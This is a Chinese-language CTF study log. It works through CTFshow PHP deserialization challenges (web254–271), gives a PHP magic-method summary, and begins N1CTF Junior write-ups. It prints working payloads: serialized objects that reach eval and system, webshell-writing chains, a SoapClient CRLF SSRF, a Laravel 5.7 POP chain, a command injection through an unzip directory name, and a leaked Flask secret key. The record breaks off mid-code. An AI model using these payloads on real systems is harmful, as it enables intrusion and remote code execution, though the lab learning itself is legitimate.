UKFC日志(完结)

[mct_toc]


第12.29–1.4周

本周深入练习了一下反序列化,学会了很多绕过的方法的技巧,同时还对php的几乎每一种魔术方法进行了深入了解,补全了之前很多欠缺的知识,靶场同样还是用的CTFshow

先粘一下从大佬博客那里偷过来的魔术方法总结()

__construct()
类的构造函数
__destruct()
类的析构函数
__call()
在对象中调⽤⼀个不可访问⽅法时调⽤
__callStatic()
⽤静态⽅式中调⽤⼀个不可访问⽅法时调⽤
__get()
获得⼀个类的成员变量时调⽤
__set()
设置⼀个类的成员变量时调⽤
__isset()
当对不可访问属性调⽤isset()或empty()时调⽤
__unset()
当对不可访问属性调⽤
unset()
时被调⽤。
__sleep()
,执⾏serialize()时,先会调⽤这个函数
__wakeup()
执⾏unserialize()时,先会调⽤这个函数
__toString()
类被当成字符串时的回应⽅法
__invoke()
调⽤函数的⽅式调⽤⼀个对象时的回应⽅法
__set_state()
调⽤
var_export()
导出类时,此静态⽅法会被调⽤。
__clone()
当对象复制完成时调⽤
__autoload()
尝试加载未定义的类
__debugInfo()
打印所需调试信息

访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同

public        被序列化的时候属性名不会更改  
protected       被序列化的时候属性名会变成 %00*%00属性名
private        被序列化的时候属性名会变成 %00类名%00属性名
1、__get、__set
这两个⽅法是为在类和他们的⽗类中没有声明的属性⽽设计的
__get( $property )       当调⽤⼀个未定义的属性时访问此⽅法
__set( $property, $value )    给⼀个未定义的属性赋值时调⽤
这⾥的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
2、__isset、__unset
__isset( $property ) 当在⼀个未定义的属性上调⽤isset()函数时调⽤此⽅法
__unset( $property ) 当在⼀个未定义的属性上调⽤unset()函数时调⽤此⽅法
与__get⽅法和__set⽅法相同,这⾥的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
3、__call
__call( $method, $arg_array ) 
当调⽤⼀个未定义(包括没有权限访问)的⽅法是调⽤此⽅法
4、__autoload
__autoload 函数,使⽤尚未被定义的类时⾃动调⽤。通过此函数,脚本引擎在 PHP 出错失败前有了最后⼀个机会加载所需的类。

注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。
5、__construct、__destruct
__construct 构造⽅法,当⼀个对象被创建时调⽤此⽅法,好处是可以使构造⽅法有⼀个独⼀⽆⼆的名称,⽆论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造⽅法的名称__destruct 析构⽅法,PHP将在对象被销毁前(即从内存中清除前)调⽤这个⽅法默认情况下,PHP仅仅释放对象属性所占⽤的内存并销毁对象相关的资源,析构函数允许你在使⽤⼀个对象之后执⾏任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调⽤,在⼀个函数的命名空间内,这会发⽣在函数return的时候,对于全局变量,这发⽣于脚本结束的时候,如果你想明确地销毁⼀个象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调⽤unset。
6、__clone
PHP5中的对象赋值是使⽤的引⽤赋值,使⽤clone⽅法复制⼀个对象时,对象会⾃动调⽤__clone魔术⽅法,如果在对象复制需要执⾏某些初始化操作,可以在__clone⽅法实现。
7、__toString 
__toString
⽅法在将⼀个对象转化成字符串时⾃动调⽤,⽐如使⽤echo打印对象时,如果类没有实现此⽅法,则⽆法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此⽅法必须返回⼀个字符串。在
PHP 5.2.0之前,__toString⽅法只有结合使⽤echo() 或print()时 才能⽣效。PHP 5.2.0之后,则可以在任何字符串环境⽣效(例如通过printf(),使⽤%s修饰符),但 不能⽤于⾮字符串环境(如使⽤%d修饰符)。从PHP 5.2.0,如果将⼀个未定义__toString
⽅法的对象 转换为字符串,会报出⼀个E_RECOVERABLE_ERROR
错误。
8、__sleep、__wakeup
__sleep 串⾏化的时候⽤
__wakeup 反串⾏化的时候调⽤
serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运⾏。它可以清除对象并应该返回⼀个包含有该对象中应被序列化的所有变量名的数组。
使⽤ __sleep 的⽬的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进⾏类似的清除任务。此外,如果有⾮常⼤的对象⽽并不需要完全储存下来时此函数也很有⽤。
相反地,unserialize() 检查具有魔术名称__wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使⽤ __wakeup 的⽬的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
9、__set_state
当调⽤var_export()时,这个静态 ⽅法会被调⽤(⾃PHP 5.1.0起有效)。本⽅法的唯⼀参数是⼀个数组,其中包含array(’property’ => value, …)格式排列的类属性。
10、__invoke
当尝试以调⽤函数的⽅式调⽤⼀个对象时,__invoke⽅法会被⾃动调⽤。PHP5.3.0以上版本有效
11、__callStatic它的⼯作⽅式类似于__call() 
魔术⽅法,__callStatic() 是为了处理静态⽅法调⽤,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() ⽅法的定义;它必须是公共的,并且必须被声明为静态的。同样,__call() 
魔术⽅法必须被定义为公共的,所有其他魔术⽅法都必须如此。

web254

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

和反序列化没有什么关系,直接传username=xxxxxx&password=xxxxxx即可 如果要分析,这⾥就是先new实例化ctfShowUser这个类,如何把username和password参传⼊调 ⽤类中的login⽅法。如果username和password和类中的相等,类中的isVip就为True,为True进 ⼊check就为True,于是拿到flag。

web255

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);    
if($user->login($username,$password)){
if($user->checkVip()){
    $user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

,这⾥在之前的基础上多了个反序列化,是$user = unserialize($_COOKIE[‘user’]);

⽽且login中少了$this->isVip=true;因此要想办法把isVip给弄成true就是咱的⽬的

然后可以发现$user是我们⾃⼰通过COOKIE[‘user’]来传,意思是会对这个user进⾏反序列化。这 是⼀个漏洞点,即通过这个传⼀个序列化后的字符串,通过反序列化来达到isVip=True

这⾥新建⼀个php⽂件,来进⾏序列化

<?php
class ctfShowUser
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = true;
}
$a = new ctfShowUser();
echo serialize($a);
?>
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxx
x";s:5:"isVip";b:1;}
image-20260104223844832

web256

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);  
    if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

在此前的基础上,只是多加了⼀个username!==password 那么只需要在反序列化的时候改⼀下就⾏

<?php
class ctfShowUser
{
public $username = 'mumuzi';
public $password = '0.38';
public $isVip = true;
}
$a = new ctfShowUser();
echo serialize($a);
?>
image-20260104224003574

然后注意传参的username和password记得改

web 257

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

⾸先反序列化的时候会实例化info类

public function __construct(){
$this->class=new info();
}

其次在摧毁的时候会调⽤getInfo⽅法

public function __destruct(){
$this->class->getInfo();
}

这⾥getInfo⽅法是在info类当中的

⽽我们要做到的是调⽤backDoor中的getInfo类,因为这个类有eval可以让我们命令执⾏ 因此在脚本中,将

private $class = 'info';
public function __construct(){
$this->class=new info();
}

改成

private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}

再去反序列化

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3
BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A2
3%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web 258

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

只是在刚刚的基础上过滤了⼀下

使⽤O:+代替O

还有个改动是private $code变成了public $code、还有public $class

<?php
class ctfShowUser
{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code = 'system("tac flag.php");';
}
$a = new ctfShowUser();
$a = serialize($a);
$a = str_replace("O:","O:+",$a);
echo urlencode($a);
?>
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22
backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.
php%22%29%3B%22%3B%7D%7D

web259

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
Notice: Undefined index: vip in /var/www/html/index.php on line 6
Fatal error: Uncaught Error: Call to a member function getFlag() on bool i
n /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/htm
l/index.php on line 8
#flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
?>

参考:https://zhuanlan.zhihu.com/p/80918004

使⽤SoapClient反序列化+CRLF可以⽣成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

ssrf去访问flag.php,POST传token==ctfshow,xff 127.0.0.1

注意xff部分,将X-Forwarded-For按照 , 分为数组,接着pop第⼀个元素,⽤的是第⼆个元素来作为ip

$ua="ctfshownX-Forwarded-For:127.0.0.1,127.0.0.1"

然后构造post

$ua="ctfshownX-Forwarded-For:127.0.0.1,127.0.0.1nContent-Type: applicatio
n/x-www-form-urlencodednContent-Length:13nntoken=ctfshow";

这⾥注意到length=13,即token=ctfshow,这样在取的时候就不会取到后⾯的部分

<?php
$ua="ctfshownX-Forwarded-For:127.0.0.1,127.0.0.1nContent-Type: applicatio
n/x-www-form-urlencodednContent-Length:13nntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>
"http://127.0.0.1/flag.php","user_agent"=>$ua));
echo urlencode(serialize($client));
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContentType%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传vip=,然后会⽣成flag.txt,访问即可

web 260

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

意思就是ctfshow序列化之后有/ctfshow_i_love_36D/ 直接传就可以了

ctfshow=/ctfshow_i_love_36D/

web261

<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);

注意到public function invoke()中有⼀个eval,那个肯定是我们想要得到的

其次,在__destruct()中有⼀个⽂件写⼊的过程,将password写⼊到username中 然后可以注意到⾥⾯有个__unserialize

如果 __unserialize() 和 __wakeup() 两个魔术⽅法都定义在⽤⼀个对象中, 则只有 __unse rialize() ⽅法会⽣效, __wakeup() ⽅法会被忽略

所以不⽤担⼼

public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}

$this->code==0x36d是个弱⽐较,code是username和password拼接得到的,取数字部分 0x36d的10进制是877

<?php
class ctfshowvip{
public $username = "877.php";
public $password = '<?php @eval($_GET[1]);?>';
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
?>
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.
php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+%40eval%28%24_GET%5
B1%5D%29%3B%3F%3E%22%3B%7D

运⾏之后访问⻢即可,flag在/flag_is_here

WEB262

<?php
/*
# -*- coding: utf-8 -*
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);

注释里面message.php

<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

如果把user变成admin,就可以拿到flag

考点:反序列化字符串逃逸

⾸先看⼀段代码

<?php
class test{
public  $username = "user";
public $password = "user";
}
$a = new test();
$b = serialize($a);
var_dump($b);

运⾏结果为

string(67) "O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"use
r";}"

构造user中的内容

"O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"hack";}user";}
"
$a = 'O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"hack";}us
er";}';
var_dump(unserialize($a));

输出

object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["username"]=>
string(4) "user"
["password"]=>
string(4) "hack"
}

可以发现,之前的user user变成了user hack

再看题⽬,会将fuck变成loveU,可以控制的从4位变成了5位

⽽需要构造的是

";s:5:"token";s:5:"admin";}

为27位

所以需要27个fuck来获得多出来的可控制位

?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问/message.php

web263

登录界⾯,源码

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}
});
}

www.zip泄漏 下载源码

#index.php
关键代码
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("
登陆失败次数超过限制
"):$_SESSION['limit']=base6
4_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1)
;
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
#inc.php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "
使⽤
".$this->password.
"
登陆
".($this->status?"
成功
":"
失败
")."----".date_create()->format('Y-m-d H:
i:s'));
}
}

cookie 中的 limit 进⾏base64解码之后传⼊session中,之后调⽤ inc 中的 User 类,并且其中这个 User 类中存在⽂件写⼊函数,所以写⼊⼀句话

<?php
class User{
public $username = 'ma.php';
public $password = '<?php system("tac flag.php");?>';
public $status='ma';
}
$a=new User();
echo base64_encode('|'.serialize($a));
?>
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo2OiJtYS5waHAiO3M6ODoicGFzc3dvcmQ
iO3M6MzE6Ijw/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOj
I6Im1hIjt9

带着cookie去访 index.php ,接着访问 inc/inc.php ,然后就会⽣成⽂件 log-ma.php

于是写脚本

import requests
url = "url"
cookies = {"PHPSESSID": "a1keltr210l16p88sqdrrqrprj", "limit": "fE86NDoiVXN
lciI6Mzp7czo4OiJ1c2VybmFtZSI7czo2OiJtYS5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ij
w/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOjI6Im1hIjt9"
}
res1 = requests.get(url + "index.php", cookies=cookies)
Python
res2 = requests.get(url + "inc/inc.php", cookies=cookies)
res3 = requests.get(url + "log-ma.php", cookies=cookies)
print(res3.text)

web264

error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

看了⼀下,和web262相⽐在message.php中多了句开头的session_start(); 就⽤之前的payload打,只不过在访问message.php的时候要使msg有值

image-20260104225621086

web271

<?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(IlluminateContractsHttpKernel::class);
$response = $kernel->handle(
$request = IlluminateHttpRequest::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);

考的是laravel5.7反序列化漏洞

<?php
namespace IlluminateFoundationTesting{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace IlluminateAuth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace IlluminateFoundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new IlluminateFoundationTestingPendingComm
and("system",array('cat /flag'),new IlluminateAuthGenericUser(array("exp
ectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new I
lluminateFoundationApplication(array("IlluminateContractsConsoleKerne
l"=>array("concrete"=>"IlluminateFoundationApplication"))))));
    }
?>

完毕,得到flag

学习计划

现在的计划是以题型为单位,一个个继续精进,目前大致完成的有文件包含,上传,sql注入,XSS,反序列化等(限CTFshow上的题目练习完毕),下周开始要给点时间学一学JAVA了,然后就是SSTI 和XXE

之前就想说,现在web题给我的感觉已经不是单纯考一两个知识点了,而是十分有综合性的考察和挑战,因此觉得整体知识的掌握更加重要。一步步好好走吧,脚踏实地十分重要,我也会继续努力的

第1.5–1.11周

本周做了两年的N1 junior题,感觉中等偏难,但是很有收获,连续做到的两年的都考了内存,感觉像是之前第三周的时候做的极客大挑战Vibe-SEO的文件描述符,好久之前的知识点没想到在这个地方深化学习了一下,正好在这里总结一下吧

/proc/self/mem是一个虚拟文件,代表了进程的整个虚拟地址空间。

当一个进程使用open("/proc/self/mem", O_RDONLY)时,系统会分配一个FD(文件描述符)给这个打开的文件。

一旦获得了指向mem的 FD,就可以使用lseek(fd, offset, SEEK_SET)来定位到内存中的具体地址(就是N1 junior题的那个offset),然后使用 read(fd, buf, length) 将内存数据读入缓冲区,进而读取文件

就像极客大挑战的题中一样,如果拥有一个指向 /proc/self/mem 的 FD,可以通过/proc/self/fd/num来访问
还可以用来通过算地址来读到指定的包含system函数地址文件,写POC达到RCE(2024 N1 junior Gavatar)

2025 N1CTF Junior 2/2

online_unzipper

题目是一个在线的zip解压工具,可以猜想到symlink透数据 /proc/self/cmdline

同样的方法读 /proc/self/environ 拿到FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

HOSTNAME=5ab9cde86ead HOME=/root GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 FLASK_APP=app.py FLASK_RUN_HOST=0.0.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8

再读app.py拿到源码

import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
    if "username" not in session:
        return redirect(url_for("login"))
    return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users:
            return "用户名已存在"

        users[username] = {"password": password, "role": "user"}
        return redirect(url_for("login"))

    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users and users[username]["password"] == password:
            session["username"] = username
            session["role"] = users[username]["role"]
            return redirect(url_for("upload"))
        else:
            return "用户名或密码错误"

    return render_template("login.html")

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if "username" not in session:
        return redirect(url_for("login"))

    if request.method == "POST":
        file = request.files["file"]
        if not file:
            return "未选择文件"

        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())
        else:
            dirname = str(uuid.uuid4())

        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")
        except:
            return "解压失败,请检查文件格式"

        os.remove(zip_path)
        return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

    return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
    target_dir = os.path.join(UPLOAD_FOLDER, folder)
    if not os.path.exists(target_dir):
        abort(404)

    files = os.listdir(target_dir)
    return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
    file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return Response(
            content,
            mimetype="application/octet-stream",
            headers={
                "Content-Disposition": f"attachment; filename={filename}"
            }
        )
    except FileNotFoundError:
        return "File not found", 404
    except Exception as e:
        return f"Error: {str(e)}", 500


if __name__ == "__main__":
    app.run(host="0.0.0.0")

修改 session 的 role 为 admin,成为管理员后可指定上传文件的位置

伪造cookie就行了

os.system(f"unzip -o {zip_path} -d {target_dir}")

其中的target_dir可以通过admin用户来控制

这里的role是通过session获取的 role = session[“role”]

image-20260111200617102

这里就可以开始构造命令了test;ls / > /tmp/1.txt

同样通过软链接读取/tmp/1.txt

app
bin
boot
dev
entrypoint.sh
etc
flag-BBv4itllamUqk6K9Y8vOpNQw3wiRZEqX.txt
home
leo
lib
lib64
media
mnt
opt
passwd3
proc
root
run
sbin
srv
sys
tmp
usr
var

直接软链接读flag-BBv4itllamUqk6K9Y8vOpNQw3wiRZEqX.txt

ping

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^d+.d+.d+.d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False

        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

    try:
        process = subprocess.run(
            command,
            shell=True,
            check=True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
    data = flask.request.json
